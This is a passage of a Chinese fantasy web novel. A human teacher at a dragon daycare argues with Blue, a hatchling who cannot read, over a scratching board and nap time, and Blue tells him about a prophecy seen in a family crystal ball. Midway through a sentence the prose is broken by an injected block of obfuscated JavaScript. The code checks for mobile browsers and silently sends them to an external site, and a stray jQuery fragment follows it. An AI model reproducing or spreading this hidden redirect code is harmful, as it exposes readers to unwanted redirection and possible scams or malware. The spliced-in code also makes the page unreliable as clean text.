布鲁在百忙之中矜持地伸爪一指,姜炳顺着探去,那爪竟然直直对着不远处的佩莱。
姜炳狐疑地看了几眼女人的侧影,记忆里他可从没闻到什么奇怪的气息:“或许是今天的香薰点多了,我带你出去换换气。”
“换气?龙的鼻子重来没有出错过。”布鲁不在意地全身心扑在猫抓板上,“午憩的时候我要带上它们。”
爪子刺啦的细微声,有力地替姜炳回答了幼龙的问题。他拿起反扣在椅子上的育崽晋级书,返回第一页赫然写着龙多敏,觉浅。
姜炳抓着书柄,大方地将书立在在地上,示意布鲁抬头看。
布鲁:“杨梅汤?”
书被肉嘟嘟的龙爪按倒在地,蓝幼龙瞪着眼:“这是什么东西,和我的爱宠有什么关系?难道是同胞生的伙伴?我布鲁不会亏待他的。”
硕大的“文盲”两个字浮现在龙脸两侧,姜炳沉默片刻后无奈地一点一点抽回自己的书:“多读书是好事。”
蓝幼龙:“嗷?”
差点忘记这里的龙崽子都是文盲了,姜炳背着手环顾周遭的龙,由心感到惆怅,首届脱盲名不虚传。
布鲁不懂人类敏感的内心,挪动身体往旁边靠了靠,觉得姜炳妨碍到他磨爪子了。
“你别总趴地上,不长个。”
“我不要长个。”
圆滚滚的长条龙横跨在路中央,尾巴摇的不亦乐乎,“那莱王要征战这块领土,你做我的谋士,我们一起架空阿斯大叔,让这家托儿所消失!”
豪情壮志的话十分有力地砸在姜炳微绷的神经细胞上,惹的人不由自主想发笑。
“架空托儿所啊。”姜炳拖长声音,见蓝幼龙温驯的模样下手捏了捏它的脸,“员工薪水怎么办?”
“去阿斯大叔的商业街上工。”布鲁整个脸被扯的皱巴巴的,“你可以留下,我会带你回去干个闲职。”
“带我回去?”姜炳笑起来会露出两颗虎牙,“敢问贵家族有没有一个月四千金币,包五金,如果有我就可以考虑。”
布鲁猛地抬起头,诧异到连爪子都忘了磨:“四千?阿斯大叔竟然只给你出四千。”
难道市价不一样?13万佩币居然值得这么让人震惊,姜炳被他质问地茫然。
姜炳试探道:“那应该多少?”
蓝幼龙哼卿磨着爪,对他那副震惊的模样不解:“四千金币只不过是扫地龙婆半天的流水,你被人蒙骗了。”
姜炳石化在原地,属实没想到还有这一方面,原本以为是掉馅饼,结果是“低薪”专聘。
小腿前的幼龙循循善诱哄着男人“背叛”托儿所:“只要你让阿斯大叔不要再找我姆妈,我一定………”
不管怎么说姜炳都是尝到了实打实的大饼,平常傲娇的龙今天突然抱他的腿本来就不正常,这会一开口,将自己的目的暴露的明明白白。
布鲁的嘴被不多时反应过来的姜炳捂住:“好了好了,你说再多也是不能逃学的。”
怀里扑腾不停的龙崽还企图再说话,姜炳已经把着它转了几个圈,直让布鲁找不着北。
姜炳抬腕看了眼手表,在心里盘算着时间:“该到午憩了,你和你的猫抓板说再见。”
布鲁用扇动翅膀表示着抗议,两片薄蓝翅时不时打到姜炳的脸颊。
不痛,但太挡视线。
姜炳半威胁地用脚指指落在地上的板子:“如果你的翅膀再扇起来,你这段时间都要和你的猫抓板说再见了。”
布鲁仰着后脑勺靠着温热的胸膛,瘦弱的人类耳尖和脸颊泛着粉。
“被翅膀扇两下脸就红了,真脆弱。”它嘟嘟囔囔地,嘴里话一波带一波,但身体却也安分下来,没再扇翅膀。
姜炳感受到怀里没有动静,用另一只手拍打他的背,冲前头还坐在地上的女人喊:“到点该去午憩房了,你领着芮德她们先走。”
一谈起午睡,几条龙都颇有微词,小声抱怨着时间过的太快,只见女人弯弯眼附下身讲了些东西,刚还不满的龙崽纷纷起身。
临走时女人还担忧的回头看了眼姜炳和几只留在原地的龙崽,“小姜你也早些来。”
姜炳安抚着手里的,“就来,那些崽子闹腾,你让它们窝着就行。”
玩具房里还剩几只顽皮龙的手下,姜炳琢磨着带着一块走,全留给一个人太过不道德。
几只龙见老大被自己的老师抓在怀里,全都是一脸艳羡,过于激烈的目光让姜炳知道它们的脑袋瓜子肯定又不正常的运转了。
布鲁不肯让小弟看见他任人拿捏的模样,趾高气扬命令:“你们先回午憩房,我还有要事和老师商量,不许偷偷留下。”
龙小弟迫于老大的“危压”一步三回头,姜炳无奈对上那几双流转光波的瞳孔,他好像已经知道了自己的身份又升级了。
姜炳只是幼教吗?不。
在那群小弟眼里是初次拥有老大之怀的人类,还是老大的老大。
姜炳在一阵炽热的光线下迎来了他的第二次地位升级。
见龙小弟一消失,布鲁又开始闹腾,死活要带上他的猫抓板,嘴里的警告更是一箩筐的搬。
姜炳索性撒了手,叉着腰举着自己的书看着蓝幼龙胡闹。
“这个玩物也没多独特,我带走它只不过是看着顺眼,”布鲁故作不在意地将板子往地上一撇,“我根本不需要午憩,你这个人类多睡觉还差不多。”
姜炳抱臂眯着眼:“不睡觉我将扣除你的玩具选择权,你知道我会这样做的。”
“你这是威胁,等我成功推翻阿斯大叔后,我也只给你开四千金币。”布鲁悄悄用尾巴勾起地上的猫抓板。
姜炳朝他一点点走前,还没发现露馅的布鲁佯装不耐烦,“我们可以谈判,我给你涨薪资。”
“我现在改价了,四千金币已经‘买’不了我,除非你再给我别的好处。”
布鲁不擅长谈判,一向觉得这是大人活的龙深深后悔地窝在人类的怀里,看着自己离“爱宠”越来越远,沉着脸怄气。
布鲁:“你想要什么好处才可以放过我的爱宠。”
姜炳熟练地像抱孩子一般抱着他走在走廊上,“你要先让看见你的诚意。”
怀里的龙崽窝了一会,神神秘秘开口:“我可以告诉你一个秘密。”
姜炳抱着布鲁踏进午憩房,朝坐在尾端的女人点头,随口附和:“是什么?”
脖颈的爪子越发收紧,刚还懒懒散散窝着的龙像是在耀武扬威,它故意凑到姜炳的耳边,“我很早之前见过你。”
下一秒他就看见正对面小床上偷偷抬起半个身体的紫幼龙,只能无奈地任他去了,否则这一来一回还不知道要耗上多久。
布鲁那句见过压根没往他里钻,他之前从未来过这里,怎么谈得上见过。
姜炳不在意地把他放到龙崽专属床上:“这个秘密不成效,玩具只有明天下了晨课才可以玩。”
他撑着床架就要起身,手臂被着黢蓝的爪子扒住:“是水晶球。”
布鲁紧紧靠着他,十分谨慎地压着自己稚嫩的声线,怕极了让其他龙听去。
“是赫拉拓兹家族祖传的水晶球,阿斯大叔偷偷用过它。水晶球告诉他,会有一个人类结束龙族的统治时代,是我亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572232|204596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼看见的。”
赫拉拓兹,这是他第二次听到这个名字。姜炳的脑子里不知觉浮现出那头金色的头发,他知道男人身上有秘密。
但,什么预言,什么结束统治龙族时代,都是假的吧!
他是正规进校的,就是校员不正规。
布鲁矜持地哼了声,“这个秘密只有我知道,不信我可以带你去找那颗水晶球,只不过它在南厢,被老妖婆的女儿守着。”
姜炳觉得这就像是听了个开头的童话故事,悲惨的王子,恶毒的皇后,还有一个受宠的继姐。
他扯扯自己的衣摆,将衣面硕大的字整个拉出:“这个什么?”
刚威风凛凛的布鲁此刻边挠着脑壳,边瞪着眼睛辨认,随后一口断定:“汤!”
姜炳垂眸看了眼大大的“觉”字,就知道这龙嘴里面至少有一半是不可信的。
他面无表情地将蓝幼龙按回床上:“不读书就给我睡觉。”
什么结束龙族统治世界,是结束文盲才对吧。
布鲁急地四肢扑腾,顾着面子小嚎怒火:“你居然不信我?!我都说了秘密,你快把我的爱宠还给我。”
姜炳叉着腰:“你的秘密只能兑换明天的玩耍时间。”
布鲁还要再闹,姜炳摆出一副“只能这样”的态度:“你需要普瑞陪着你一块午憩是吗?”
布鲁沉默片刻,把牙磨地咕咕响,咬牙切齿道:“不。”
得到拒绝后,姜炳假模假样关心了两句,见蓝幼龙没再扑腾就找女人换班,让她去休息。
没成想得到了女人的拒绝,见她义正言辞说要和龙崽培养感情,不辜负自己做出的贡献。
那神色太正经,他只能唏嘘着坐到另一半和她一起守。
岁月静好在大魔王面前是不存在的,待姜炳被布鲁接二连三的小动静弄的走来走去,他抱臂站在窗前和站在床铺的龙开展了一场没有硝烟的睡觉进行战。
姜炳指着床铺:“睡。”
布鲁叉着腰:“爱宠。”
“为什么不睡觉?”
“高贵的龙族是不需要睡觉的,在我的爱宠没有出现之前,我都不会躺下,这是屈服。”布鲁两条龙腿岔开,有一只神在在地踩上床架。
午憩房里静悄悄的,偶尔传来几道鼾声,一人一龙小声对持着。
“我给你讲故事。”
姜炳率先服软,这个年纪的崽子精力好的不得了。
布鲁不屑:“故事有什么好听的,我从没听过这个东西。”
姜炳咧嘴笑出两颗虎牙,一手将龙按在床上:“现在我给你讲故事。”
布鲁被迫无奈躺在床上,表情并不赞同,“讲故事也不可能让我睡着的。”
姜炳轻轻嗓子,将保存在相册里深处的近代史翻出来:“这一年是某个朝代的诞生,它带来了……”
他越念心情越好,操着一口抑扬顿挫的强调将大半本书的内容念完,姜炳由衷地感受到了来自内心深处的畅快。
翻着页,姜炳摸了把脸上的虚汗打算和布鲁再对持几句,结果一抬头就见快要团成球的蓝幼龙。
看样子睡了有一会,像是他刚才开始,龙就已经睡了,蓝色的脸庞已经压出大片红印。
姜炳对着手机里的近代史比了个大拇指,不愧是让他少年期连睡四节课的课目。
他埋头做着安排表,琢磨着晚点去研究点御龙宝典,余光猝不及防看见条雪白的长裙。
温婉的女声萦绕在他耳侧,背脊下意识冒汗,像是被什么凶狠的动物盯上,下一秒就要啃噬入腹。
“刚才姜老师在聊什么呢。”